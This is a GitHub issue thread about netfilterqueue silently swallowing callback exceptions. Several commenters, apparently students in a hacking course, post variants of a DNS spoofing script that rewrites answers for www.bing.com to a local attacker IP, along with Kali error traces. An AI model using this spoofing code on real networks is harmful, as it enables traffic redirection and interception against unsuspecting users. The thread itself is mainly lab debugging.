oremanj/python-netfilterqueue

Exceptions are ignored

strictlymike opened this issue · 6 comments

When an exception is raised in my callback, I simply see a message like this one:

Exception TypeError: "argument of type 'NoneType' is not iterable" in 'netfilterqueue.global_callback' ignored

This makes troubleshooting painful. Is there a safe way for you to allow the exception to terminate the script with the normal stack trace? Short of that, maybe a constructor argument or other mutator to give developers the ability to opt for more detailed exception information?

I'd like to be more helpful but at a glance I can't tell where these exceptions are being handled and silenced. If you can point me to it, I'll be happy to take a crack at a PR.

`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1

          del scapy_packet[scapy.IP].len
          del scapy_packet[scapy.IP].chksum
          del scapy_packet[scapy.UDP].len
          del scapy_packet[scapy.UDP].chksum

 packet.set_payload(str(scapy_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`

I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1

          del scapy_packet[scapy.IP].len
          del scapy_packet[scapy.IP].chksum
          del scapy_packet[scapy.UDP].len
          del scapy_packet[scapy.UDP].chksum

 packet.set_payload(str(scapy_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`

I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

I made an error in the code, issue resolved.

Hey, bro need your help!!!

I am facing sort of same situation, can you help me out with the error with the netfilterqueue library:--
"[+] Spoofing Target
Exception TypeError: "'module' object has no attribute 'getitem'" in 'netfilterqueue.global_callback' ignored"

@YuvrajSingh-16, I think a workaround during development might be to put a blanket try/catch at the top level in your callback function and use the traceback module to print a stack trace that would help you find the error (or use pdb to drop into an interactive debugger).

hey guys i am facing the same error I think you guys are students from zsecurity.How did you solve the error??@Zat-DB @strictlymike @YuvrajSingh-16

I am having the same problem. I am here scratching my head. My code looks good but I have the same error.
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'

Any help would be appreciated.
I have python 3.9.9 , python 2.7.18 and NetfilterQueue 0.8.1

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if "www.bing.com." in qname:
            print("[+] Spoofing target ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet)) # this will replace the original
    packet.accept()
    #packet.drop()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Terminal Output:
`┌──(root💀kali)-[~/PycharmProjects/Zsecurity]
└─# python3 dns_spoof.py 130 ⨯
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
^CTraceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 30, in
queue.run()
KeyboardInterrupt